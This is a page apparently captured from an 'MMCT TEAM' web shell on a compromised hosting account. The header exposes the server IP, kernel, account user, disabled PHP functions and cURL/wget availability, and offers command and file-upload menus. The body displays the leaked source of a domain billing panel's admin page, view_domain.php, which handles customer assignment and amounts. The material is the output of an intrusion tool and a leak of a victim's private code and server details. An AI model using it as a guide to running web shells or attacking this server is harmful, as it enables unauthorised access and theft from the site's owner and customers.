MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/gemore/../pms/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/gemore/../pms/admin/view_domain.php
<?php
session_start();

if (!isset($_SESSION['admin_id'])) {
    header("Location: login.php");
    exit;
}

require_once '../config/config.php';
$con = getDatabaseConnection();

$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];

// Get domain name from URL
$domain_name = $_GET['domain'] ?? '';

if (empty($domain_name)) {
    header("Location: domain_portfolio.php");
    exit;
}

// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['action']) && $_POST['action'] === 'assign') {
        $domain_name_post = mysqli_real_escape_string($con, trim($_POST['domain_name']));
        $customer_id = (int)$_POST['customer_id'];
        $amount = floatval($_POST['amount']);
        $service_type = mysqli_real_escape_string($con, trim($_POST['service_type']));
        
        if (!empty($domain_name_post) && $customer_id > 0 && $amount > 0 && !empty($service_type)) {
            // Check if domain already exists
            $check_query = "SELECT id FROM tbl_domain_assignments WHERE domain_name = '$domain_name_post'";
            $check_result = mysqli_query($con, $check_query);
            
            if (mysqli_num_rows($check_result) > 0) {
                // Update existing record
                $update_query = "UPDATE tbl_domain_assignments 
                                SET customer_id = $customer_id, 
                                    amount = $amount,
                                    service_type = '$service_type',
                                    updated_at = NOW() 
                                WHERE domain_name = '$domain_name_post'";
                
                if (mysqli_query($con, $update_query)) {
                    $_SESSION['success'] = "Domain assignment updated successfully!";
                } else {
                    $_SESSION['error'] = "Failed to update domain assignment!";
                }
            } else {
                // Insert new record
                $insert_query = "INSERT INTO tbl_domain_assignments 
                                (domain_name, customer_id, amount, service_type, created_at, updated_at) 
                                VALUES ('$domain_name_post', $customer_id, $amount, '$service_type', NOW(), NOW())";
                
                if (mysqli_query($con, $insert_query)) {
                    $_SESSION['success'] = "Domain assigned successfully!";
                } else {
                    $_SESSION['error'] = "Failed to assign domain!";
                }
            }
            
            header("Location: view_domain.php?domain=" . urlencode($domain_name_post));
            exit;
        } else {
            $_SESSION['error'] = "Please fill all required fields!";
            header("Location: view_domain.php?domain=" . urlencode($domain_name));
            exit;
        }
    }
}

// Fetch all customers
$customers_query = "SELECT customer_id, customer_name FROM tbl_domain_customers ORDER BY customer_name ASC";
$customers_result = mysqli_query($con, $customers_query);

// Fetch existing assignment if any
$domain_name_escaped = mysqli_real_escape_string($con, $domain_name);
$assignment_query = "SELECT * FROM tbl_domain_assignments WHERE domain_name = '$domain_name_escaped'";
$assignment_result = mysqli_query($con, $assignment_query);
$existing_assignment = mysqli_fetch_assoc($assignment_result);

$selected_customer_id = $existing_assignment['customer_id'] ?? '';
$existing_amount = $existing_assignment['amount'] ?? '';
$existing_service_type = $existing_assignment['service_type'] ?? 'domain';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <base href="../" />
    <title>View Domain - Domain Billing</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
    <link href="../assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
    <link href="../assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
</head>

<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" 
      data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" 
      data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" 
      data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" 
      data-kt-app-toolbar-enabled="true" class="app-default">
    
    <script>
        var defaultThemeMode = "light"; 
        var themeMode; 
        if (document.documentElement) { 
            if (document.documentElement.hasAttribute("data-bs-theme-mode")) { 
                themeMode = document.documentElement.getAttribute("data-bs-theme-mode"); 
            } else { 
                if (localStorage.getItem("data-bs-theme") !== null) { 
                    themeMode = localStorage.getItem("data-bs-theme"); 
                } else { 
                    themeMode = defaultThemeMode; 
                } 
            } 
            if (themeMode === "system") { 
                themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; 
            } 
            document.documentElement.setAttribute("data-bs-theme", themeMode); 
        }
    </script>
    
    <div class="d-flex flex-column flex-root app-root" id="kt_app_root">
        <div class="app-page flex-column flex-column-fluid" id="kt_app_page">
            
            <?php include 'includes/header.php'; ?>
            
            <div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
                
                <?php include 'includes/sidebar.php'; ?>
                
                <div class="app-main flex-column flex-row-fluid" id="kt_app_main">
                    <div class="d-flex flex-column flex-column-fluid">
                        
                        <div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
                            <div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
                                <div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
                                    <h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">
                                        🌐 Domain Details
                                    </h1>
                                    <ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
                                        <li class="breadcrumb-item text-muted">
                                            <a href="dashboard.php" class="text-muted text-hover-primary">Home</a>
                                        </li>
                                        <li class="breadcrumb-item">
                                            <span class="bullet bg-gray-500 w-5px h-2px"></span>
                                        </li>
                                        <li class="breadcrumb-item text-muted">
                                            <a href="domain_portfolio.php" class="text-muted text-hover-primary">Domains</a>
                                        </li>
                                        <li class="breadcrumb-item">
                                            <span class="bullet bg-gray-500 w-5px h-2px"></span>
                                        </li>
                                        <li class="breadcrumb-item text-muted">View Domain</li>
                                    </ul>
                                </div>
                                <div class="d-flex align-items-center gap-2 gap-lg-3">
                                    <a href="domain_portfolio.php" class="btn btn-sm btn-light-primary">
                                        <i class="ki-duotone ki-arrow-left fs-4">
                                            <span class="path1"></span>
                                            <span class="path2"></span>
                                        </i>
                                        Back to Domains
                                    </a>
                                </div>
                            </div>
                        </div>
                        
                        <div id="kt_app_content" class="app-content flex-column-fluid">
                            <div id="kt_app_content_container" class="app-container container-xxl">
                                
                                <?php if (isset($_SESSION['success'])): ?>
                                    <div class="alert alert-success alert-dismissible fade show" role="alert">
                                        <?php echo $_SESSION['success']; unset($_SESSION['success']); ?>
                                        <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                                    </div>
                                <?php endif; ?>
                                
                                <?php if (isset($_SESSION['error'])): ?>
                                    <div class="alert alert-danger alert-dismissible fade show" role="alert">
                                        <?php echo $_SESSION['error']; unset($_SESSION['error']); ?>
                                        <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                                    </div>
                                <?php endif; ?>
                                
                                <div class="card">
                                    <div class="card-header border-0 pt-6">
                                        <h3 class="card-title align-items-start flex-column">
                                            <span class="card-label fw-bold fs-3 mb-1">Assign Customer & Service Details</span>
                                            <span class="text-muted mt-1 fw-semibold fs-7">Configure billing details for this domain</span>
                                        </h3>
                                    </div>
                                    
                                    <div class="card-body py-4">
                                        <form method="POST" action="" id="assignmentForm">
                                            <input type="hidden" name="action" value="assign">
                                            <input type="hidden" name="domain_name" value="<?php echo htmlspecialchars($domain_name); ?>">
                                            
                                            <!-- Domain Name -->
                                            <div class="row mb-10">
                                                <div class="col-lg-12">
                                                    <label class="form-label fw-bold fs-6 text-gray-700">Domain Name</label>
                                                    <div class="input-group input-group-solid">
                                                        <span class="input-group-text">
                                                            <i class="ki-duotone ki-abstract-26 fs-2">
                                                                <span class="path1"></span>
                                                                <span class="path2"></span>
                                                            </i>
                                                        </span>
                                                        <input type="text" class="form-control form-control-solid fs-4 fw-bold" 
                                                               value="<?php echo htmlspecialchars($domain_name); ?>" readonly />
                                                    </div>
                                                </div>
                                            </div>
                                            
                                            <!-- Customer and Amount -->
                                            <div class="row mb-10">
                                                <div class="col-lg-6">
                                                    <label class="required form-label fw-bold fs-6 text-gray-700">Select Customer</label>
                                                    <select class="form-select form-select-solid" name="customer_id" id="customer_id" required 
                                                            data-control="select2" data-placeholder="Choose a customer...">
                                                        <option value="">Choose a customer...</option>
                                                        <?php while($customer = mysqli_fetch_assoc($customers_result)): ?>
                                                            <option value="<?php echo $customer['customer_id']; ?>" 
                                                                    <?php echo ($selected_customer_id == $customer['customer_id']) ? 'selected' : ''; ?>>
                                                                <?php echo htmlspecialchars($customer['customer_name']); ?>
                                                            </option>
                                                        <?php endwhile; ?>
                                                    </select>
                                                    <div class="form-text">Select the customer for this domain</div>
                                                </div>
                                                
                                                <div class="col-lg-6">
                                                    <label class="required form-label fw-bold fs-6 text-gray-700">Amount (INR)</label>
                                                    <div class="input-group input-group-solid">
                                                        <span class="input-group-text">
                                                            <i class="ki-duotone ki-wallet fs-2">
                                                                <span class="path1"></span>
                                                                <span class="path2"></span>
                                                                <span class="path3"></span>
                                                                <span class="path4"></span>
                                                            </i>
                                                        </span>
                                                        <span class="input-group-text">₹</span>
                                                        <input type="number" name="amount" id="amount" 
                                                               class="form-control form-control-solid" 
                                                               placeholder="Enter amount" 
                                                               step="0.01" min="0.01" required
                                                               value="<?php echo htmlspecialchars($existing_amount); ?>" />
                                                    </div>
                                                    <div class="form-text">Enter the billing amount</div>
                                                </div>
                                            </div>
                                            
                                            <!-- Service Type -->
                                            <div class="row mb-10">
                                                <div class="col-lg-12">
                                                    <label class="required form-label fw-bold fs-6 text-gray-700">
                                                        <i class="ki-duotone ki-setting-3 fs-2 me-2">
                                                            <span class="path1"></span>
                                                            <span class="path2"></span>
                                                            <span class="path3"></span>
                                                            <span class="path4"></span>
                                                            <span class="path5"></span>
                                                        </i>
                                                        Service Type
                                                    </label>
                                                    <select class="form-select form-select-solid form-select-lg" 
                                                            name="service_type" 
                                                            id="service_type" 
                                                            required
                                                            data-control="select2" 
                                                            data-placeholder="Choose service type...">
                                                        <option value="">Choose service type...</option>
                                                        <option value="hostinger" 
                                                                <?php echo ($existing_service_type == 'hostinger') ? 'selected' : ''; ?>
                                                                data-kt-select2-icon="ki-duotone ki-cloud fs-2">
                                                            Hostinger
                                                        </option>
                                                        <option value="domain" 
                                                                <?php echo ($existing_service_type == 'domain') ? 'selected' : ''; ?>
                                                                data-kt-select2-icon="ki-duotone ki-abstract-26 fs-2">
                                                            Domain
                                                        </option>
                                                        <option value="both" 
                                                                <?php echo ($existing_service_type == 'both') ? 'selected' : ''; ?>
                                                                data-kt-select2-icon="ki-duotone ki-toggle-on fs-2">
                                                            Hostinger and Domain (Both)
                                                        </option>
                                                    </select>
                                                    <div class="form-text">
                                                        <i class="ki-duotone ki-information-5 fs-5 text-primary me-1">
                                                            <span class="path1"></span>
                                                            <span class="path2"></span>
                                                            <span class="path3"></span>
                                                        </i>
                                                        Select the service(s) included in this billing
                                                    </div>
                                                </div>
                                            </div>
                                            
                                            <div class="separator separator-dashed my-10"></div>
                                            
                                            <!-- Action Buttons -->
                                            <div class="d-flex justify-content-end">
                                                <a href="domain_portfolio.php" class="btn btn-light me-3">
                                                    <i class="ki-duotone ki-cross fs-2">
                                                        <span class="path1"></span>
                                                        <span class="path2"></span>
                                                    </i>
                                                    Cancel
                                                </a>
                                                <button type="submit" class="btn btn-primary" id="submitBtn">
                                                    <span class="indicator-label">
                                                        <i class="ki-duotone ki-check fs-2 me-1">
                                                            <span class="path1"></span>
                                                            <span class="path2"></span>
                                                        </i>
                                                        <?php echo $existing_assignment ? 'Update Assignment' : 'Save Assignment'; ?>
                                                    </span>
                                                    <span class="indicator-progress">
                                                        Please wait... <span class="spinner-border spinner-border-sm align-middle ms-2"></span>
                                                    </span>
                                                </button>
                                            </div>
                                        </form>
                                        
                                        <!-- Existing Assignment Notice -->
                                        <?php if ($existing_assignment): ?>
                                        <div class="notice d-flex bg-light-success rounded border-success border border-dashed p-6 mt-10">
                                            <i class="ki-duotone ki-shield-tick fs-2tx text-success me-4">
                                                <span class="path1"></span>
                                                <span class="path2"></span>
                                            </i>
                                            <div class="d-flex flex-stack flex-grow-1">
                                                <div class="fw-semibold">
                                                    <div class="fs-6 text-gray-700 mb-1">
                                                        <i class="ki-duotone ki-check-circle fs-3 text-success me-1">
                                                            <span class="path1"></span>
                                                            <span class="path2"></span>
                                                        </i>
                                                        This domain is already assigned
                                                    </div>
                                                    <!--<div class="fs-7 text-gray-600">-->
                                                    <!--    <i class="ki-duotone ki-calendar fs-6 me-1">-->
                                                    <!--        <span class="path1"></span>-->
                                                    <!--        <span class="path2"></span>-->
                                                    <!--    </i>-->
                                                    <!--    Last updated: <?php echo date('M d, Y h:i A', strtotime($existing_assignment['updated_at'])); ?>-->
                                                    <!--</div>-->
                                                </div>
                                            </div>
                                        </div>
                                        <?php endif; ?>
                                    </div>
                                </div>
                                
                            </div>
                        </div>
                        
                    </div>
                    
                    <?php include 'includes/footer.php'; ?>
                    
                </div>
            </div>
        </div>
    </div>
    
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="../assets/plugins/global/plugins.bundle.js"></script>
    <script src="../assets/js/scripts.bundle.js"></script>
    
   <script>
$(document).ready(function() {
    // Initialize Select2 for Customer
    $('#customer_id').select2({
        placeholder: "Choose a customer...",
        allowClear: true
    });
    
    // Initialize Select2 for Service Type with custom template
    $('#service_type').select2({
        placeholder: "Choose service type...",
        allowClear: true,
        minimumResultsForSearch: Infinity, // Disable search for this dropdown
        templateResult: formatServiceType,
        templateSelection: formatServiceType
    });
    
    // Custom template function for service type
    function formatServiceType(state) {
        if (!state.id) {
            return state.text;
        }
        
        var icons = {
            'hostinger': 'ki-cloud',
            'domain': 'ki-abstract-26',
            'both': 'ki-toggle-on'
        };
        
        var icon = icons[state.id] || 'ki-abstract-26';
        
        var $state = $(
            '<span><i class="ki-duotone ' + icon + ' fs-2 me-2"><span class="path1"></span><span class="path2"></span></i>' + 
            state.text + '</span>'
        );
        return $state;
    }
    
    // Form submission with loading state
    $('#assignmentForm').on('submit', function(e) {
        var submitBtn = $('#submitBtn');
        submitBtn.attr('data-kt-indicator', 'on');
        submitBtn.prop('disabled', true);
    });
});
</script>
    
    <?php include 'includes/chat_widget.php'; ?>
</body>
</html>

MMCT - 2023